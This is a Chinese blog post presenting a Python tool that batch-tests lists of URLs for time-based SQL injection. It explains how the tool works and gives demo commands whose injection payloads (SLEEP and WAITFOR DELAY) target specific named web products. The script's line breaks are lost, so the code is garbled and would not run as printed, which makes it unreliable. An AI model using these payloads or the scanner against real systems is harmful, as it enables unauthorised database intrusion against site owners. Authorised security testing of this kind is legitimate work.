【python腳本】批量檢測sql延時注入

文章目錄

  • 前言
  • 批量檢測sql延時注入
  • 工作原理
  • 腳本演示


前言

SQL延時注入是一種在Web應用程序中利用SQL注入漏洞的技術,當傳統的基于錯誤信息或數據回顯的注入方法不可行時,例如當Web應用進行了安全配置,不顯示任何錯誤信息或敏感數據時,延時注入可以作為一種有效的攻擊手段。

于是我想!寫個腳本來批量掃描豈不美滋滋!


批量檢測sql延時注入

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import http.client
import ssl
import argparse
import time
from urllib.parse import urlparse
from urllib.parse import urlencode# 定義控制臺輸出顏色代碼
# 定義控制臺輸出顏色代碼
RED = '\033[91m'
RESET = '\033[0m'def check_sql_delay_injection(url, path, payload, method):"""檢查給定的URL是否存在SQL延遲注入漏洞。:param url: 目標URL:param path: 注入點:param payload: 測試負載:param method: 傳參方式"""try:# 構造HTTP請求頭headers = {"Content-Type": "application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0"}# 如果是GET請求,將數據附加到URL后面if method.upper() == "GET":url1 = url# 構造用于檢測SQL注入漏洞的URL路徑url += pathurl += "?" + payload  # 注意:這里使用?來追加參數# 解析URL,獲取協議、域名和路徑parsed_url = urlparse(url)# 根據URL協議創建HTTP或HTTPS連接if parsed_url.scheme == "https":# 忽略SSL證書驗證conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())else:conn = http.client.HTTPConnection(parsed_url.netloc)# 記錄請求開始時間start_time = time.time()# 發送GET請求conn.request("GET", url, headers=headers)response = conn.getresponse()# 記錄請求結束時間elapsed_time = time.time() - start_timeelse:url1 = url# 解析URL,獲取協議、域名和路徑parsed_url = urlparse(url)body = payload# 根據URL的協議選擇HTTP或HTTPS連接conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context()) if parsed_url.scheme == "https" else http.client.HTTPConnection(parsed_url.netloc)start_time = time.time()# 發送POST請求conn.request("POST", path, body=body, headers=headers)response = conn.getresponse()# 記錄請求結束時間elapsed_time = time.time() - start_time# 如果響應時間在3到5秒之間,可能存在延遲注入漏洞if 3 <= elapsed_time <= 6:print(f"{RED}URL [{url1}{path}|0.0620] 可能存在SQL延時注入漏洞{RESET}")else:print(f"URL [{url1}{path}|0.0620] 不存在SQL延時注入漏洞")except Exception as e:print(f"URL [{url1}{path}] 請求失敗: {e}")def main():"""程序主入口,負責解析命令行參數并執行漏洞檢查。"""# 創建命令行參數解析器parser = argparse.ArgumentParser(description='檢測目標地址是否存在SQL延時注入漏洞')parser.add_argument('-u', '--url', help='指定目標地址')parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')parser.add_argument('-p', '--path', default="", help='指定要請求的路徑')parser.add_argument('-pl', '--payload', default="", help='')parser.add_argument('-m', '--method', default="POST", help='請求方法(GET或POST)')# 解析命令行參數args = parser.parse_args()# 如果指定了URL參數if args.url:# 確保URL以http或https開頭if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.url# 執行漏洞檢查check_sql_delay_injection(args.url, args.path, args.payload, args.method)# 如果指定了文件參數elif args.file:# 打開文件并讀取URL列表with open(args.file, 'r') as file:urls = file.read().splitlines()# 遍歷文件中的每個URL進行檢查for url in urls:# 確保URL以http或https開頭dataif not url.startswith("http://") and not url.startswith("https://"):url = "http://" + url# 執行漏洞檢查check_sql_delay_injection(url, args.path, args.payload, args.method)
# 程序入口
if __name__ == '__main__':main()

工作原理

這個Python腳本是一個用于檢測SQL延遲注入漏洞的工具。它通過發送HTTP請求到目標URL,并根據響應時間來判斷是否存在SQL延遲注入的可能性。以下是腳本的工作過程和原理的詳細解釋:

  1. 導入模塊:腳本開始時導入了所需的模塊,包括http.client用于創建HTTP連接,ssl用于處理HTTPS請求的SSL上下文,argparse用于解析命令行參數,time用于測量請求的響應時間,以及urllib.parse中的urlparseurlencode用于解析和編碼URL。

  2. 定義顏色代碼:為了在控制臺輸出中使用顏色,腳本定義了兩個變量REDRESET,分別用于開始和結束紅色文本的輸出。

  3. 定義檢測函數check_sql_delay_injection函數是腳本的核心,它接收目標URL、注入點、測試負載和傳參方式作為參數。函數內部首先構造HTTP請求頭,然后根據請求方法(GET或POST)來構造請求。

  4. GET請求處理

    • 如果請求方法是GET,腳本會將注入點和測試負載附加到URL后面,形成完整的請求URL。
    • 使用urlparse解析這個URL,獲取協議、域名和路徑。
    • 根據URL的協議(http或https),創建相應的HTTP或HTTPS連接。
    • 發送GET請求,并測量請求的響應時間。
  5. POST請求處理

    • 如果請求方法是POST,腳本會將測試負載作為請求體,并將注入點作為請求路徑。
    • 與GET請求類似,根據URL協議創建連接,并發送POST請求。
    • 同樣測量請求的響應時間。
  6. 判斷延遲注入:腳本通過比較響應時間是否在3到6秒之間來判斷是否存在SQL延遲注入漏洞。如果是,腳本會輸出警告信息,指出可能存在漏洞。

  7. 異常處理:在嘗試發送請求和接收響應的過程中,如果發生任何異常,腳本會捕獲這些異常并輸出錯誤信息。

  8. 命令行參數解析main函數負責解析命令行參數。用戶可以通過-u/--url指定單個目標URL,或者通過-f/--file指定包含多個URL的文件。用戶還可以指定請求路徑(-p/--path)、測試負載(-pl/--payload)和請求方法(-m/--method)。

  9. 執行檢測:根據用戶提供的參數,腳本會遍歷每個URL并調用check_sql_delay_injection函數來執行檢測。

  10. 程序入口:腳本的標準入口是if __name__ == '__main__'部分,它調用main函數來啟動程序。

這個腳本的原理基于SQL延遲注入漏洞的一個特點,通過構造特殊的SQL語句,使得數據庫在執行時故意延遲,從而推斷出某些信息。通過測量HTTP請求的響應時間,腳本嘗試檢測這種延遲。如果響應時間異常,就可能表明存在SQL延遲注入漏洞。

腳本演示

測試用例1:29網課交單平臺epay.phpSQL注入漏洞
測試命令:

python .\sqltime.py -f .\url-post.txt -p "/epay/epay.php" -pl "out_trade_no=' AND (SELECT 8078 FROM(SELECT(SLEEP(3)))eEcA) AND 'aEmC'='aEmC" -m POST

在這里插入圖片描述

測試用例2:飛企互聯treeXml.jspSQL注入
測試命令:

python .\sqltime.py -f .\url-get.txt -p "/sys/treeXml.js%70" -pl "menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function" -m GET

在這里插入圖片描述


當人們做不到一些事情的時候,他們會對你說你也同樣不能。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/38586.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/38586.shtml
英文地址,請注明出處:http://en.pswp.cn/web/38586.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【TS】TypeScript 原始數據類型深度解析

&#x1f308;個人主頁: 鑫寶Code &#x1f525;熱門專欄: 閑話雜談&#xff5c; 炫酷HTML | JavaScript基礎 ?&#x1f4ab;個人格言: "如無必要&#xff0c;勿增實體" 文章目錄 TypeScript 原始數據類型深度解析一、引言二、基礎原始數據類型2.1 boolean2.2 …

蒼穹外賣--sky-take-out(四)10-12

蒼穹外賣--sky-take-out&#xff08;一&#xff09; 蒼穹外賣--sky-take-out&#xff08;一&#xff09;-CSDN博客?編輯https://blog.csdn.net/kussm_/article/details/138614737?spm1001.2014.3001.5501https://blog.csdn.net/kussm_/article/details/138614737?spm1001.2…

Unity動畫系統(2)

6.1 動畫系統基礎2-3_嗶哩嗶哩_bilibili p316 模型添加Animator組件 動畫控制器 AnimatorController AnimatorController 可以通過代碼控制動畫速度 建立動畫間的聯系 bool值的設定 trigger p318 trigger點擊的時候觸發&#xff0c;如喊叫&#xff0c;開槍及換子彈等&#x…

在js中如何Json字符串格式不對,如何處理

如果 JSON 字符串格式不正確&#xff0c;解析它時會拋出異常&#xff0c;但我們可以嘗試盡可能提取有效的信息。以下是一個方法&#xff0c;可以使用正則表達式和字符串操作來提取部分有效的 JSON 內容&#xff0c;即使整個字符串無法被 JSON.parse 完全解析。 示例代碼如下&a…

錯誤 [WinError 10013] 以一種訪問權限不允許的方式做了一個訪問套接字的嘗試 python ping

報錯提示&#xff1a;錯誤 [WinError 10013] 以一種訪問權限不允許的方式做了一個訪問套接字的嘗試 用python做了一個批量ping腳本&#xff0c;在windows專業版上沒問題&#xff0c;但是到了windows服務器就出現這個報錯 解決方法&#xff1a;右鍵 管理員身份運行 這個腳本 …

sql拉鏈表

1、定義&#xff1a;維護歷史狀態以及最新數據的一種表 2、使用場景 1、有一些表的數據量很大&#xff0c;比如一張用戶表&#xff0c;大約1億條記錄&#xff0c;50個字段&#xff0c;這種表 2.表中的部分字段會被update更新操作&#xff0c;如用戶聯系方式&#xff0c;產品的…

compute和computeIfAbsent的區別和用法

compute和computeIfAbsent都是Map接口中的默認方法&#xff0c;用于在映射中進行鍵值對的計算和更新。它們的主要區別在于它們的行為和使用場景。 compute 方法 定義: V compute(K key, BiFunction<? super K, ? super V, ? extends V> remappingFunction);參數: k…

在 WebGPU 與 Vulkan 之間做出正確的選擇(Making the Right Choice between WebGPU vs Vulkan)

在 WebGPU 與 Vulkan 之間做出正確的選擇&#xff08;Making the Right Choice between WebGPU vs Vulkan&#xff09; WebGPU 和 Vulkan 之間的主要區別WebGPU 是什么&#xff1f;它適合誰使用&#xff1f;Vulkan 是什么&#xff1f;它適合誰使用&#xff1f;WebGPU 和 Vulkan…

修改CentOS7 yum源

修改CentOS默認yum源為阿里鏡像源 備份系統自帶yum源配置文件 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup 下載ailiyun的yum源配置文件 CentOS7 yum源如下&#xff1a; wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun…

AI領域最需要掌握的技術是什么?

在AI領域&#xff0c;掌握一系列核心技術和相關知識是非常重要的&#xff0c;以下是AI專業人士最需要掌握的一些關鍵技術&#xff1a; 1. **數學基礎** - 線性代數&#xff1a;用于處理向量和矩陣&#xff0c;是機器學習和深度學習的基石。 - 微積分&#xff1a;用于理解函數的…

SpringBoot項目使用WebSocket提示Error creating bean with name ‘serverEndpointExporter‘

問題描述&#xff1a;WebSocket在Controller中正常工作&#xff0c;但是在之后使用SpringBootTest進行單元測試的時候&#xff0c;突然提示WebSocket的相關錯誤。 錯誤提示&#xff1a; Exception encountered during context initialization - cancelling refresh attempt: …

項目中的代碼記錄日常

項目中的代碼記錄日常 /// <summary> /// 修改任務狀態 /// </summary> private void StartProcess21() {Process21Task new Thread(() >{while (CommonUtility.IsWorking){try{if (tPAgvTasksList.Count > 0){Parallel.ForEach(tPAgvTasksList, new Paral…

gitlab push的時候需要密碼,你忘記了密碼

情景: 忘記密碼,且登入網頁端gitlab的密碼并不能在push的時候使用,應該兩者是兩個不同的密碼 解決方法: 直接設置ssh密鑰登入,不使用密碼gitlab添加SSH密鑰——查看本地密鑰 & 生成ssh密鑰_gitlab生成ssh密鑰-CSDN博客

[OC]蘿卜圈Python手動機器人腳本

這是給機器人設置的端口&#xff0c;對照用 代碼 # #作者:溥哥’ ##機器人驅動主程序 #請在main中編寫您自己的機器人驅動代碼 import msvcrt def main():a"none"while True:key_input msvcrt.getch()akey_inputif abw:print(a)robot_drv.set_motors(1,40,2,40,3,…

uniapp學習筆記

uniapp官網地址&#xff1a;https://uniapp.dcloud.net.cn/ 學習源碼&#xff1a;https://gitee.com/qingnian8/uniapp-ling_project.git 顏色網址&#xff1a;https://colordrop.io/ uniapp中如何獲取導航中的路由信息&#xff1f; onLoad(e){console.log(e)console.log(e.w…

C#根據類的public屬性加載類中對應字段的XML

<?xml version"1.0" encoding"utf-8"?> <root><UserLogin ID"0" UserName"" UserPassWord"" Level"1" PowerName"默認用戶" PowerID"0" Remark"" IsEnabled"…

java八股文面試題

Java八股文面試題通常涵蓋了Java語言的基礎知識、高級特性、框架應用、數據庫操作等多個方面。以下是一些常見的Java面試題及其詳細回答&#xff0c;按照不同的主題進行分類&#xff1a; 一、Java基礎 面向對象的特征有哪些&#xff1f; 抽象&#xff1a;忽略與當前目標無關的…

2.2.4 C#中顯示控件BDPictureBox 的實現----ROI交互

2.2.4 C#中顯示控件BDPictureBox 的實現----ROI交互 1 界面效果 在設定模式下&#xff0c;可以進行ROI 框的拖動&#xff0c;這里以Rect1舉例說明 2 增加ROI類定義 /// <summary> /// ROI_single /// 用于描述圖片感興趣區域 /// type: 0:Rect1;1:Rect2;2:Circle ;3:…

C++ //練習 14.31 我們的StrBlobPtr類沒有定義拷貝構造函數、賦值運算符及析構函數,為什么?

C Primer&#xff08;第5版&#xff09; 練習 14.31 練習 14.31 我們的StrBlobPtr類沒有定義拷貝構造函數、賦值運算符及析構函數&#xff0c;為什么&#xff1f; 環境&#xff1a;Linux Ubuntu&#xff08;云服務器&#xff09; 工具&#xff1a;vim 解釋&#xff1a; 因為…

工業路由器與家用路由器的區別

在現代網絡環境中&#xff0c;路由器扮演著至關重要的角色。無論是在家庭網絡還是在工業網絡&#xff0c;選擇合適的路由器都至關重要。本文將從多個角度&#xff0c;對工業路由器與家用路由器進行詳細比較&#xff0c;幫助您更好地理解二者的區別。 1、安全性 工業路由器&…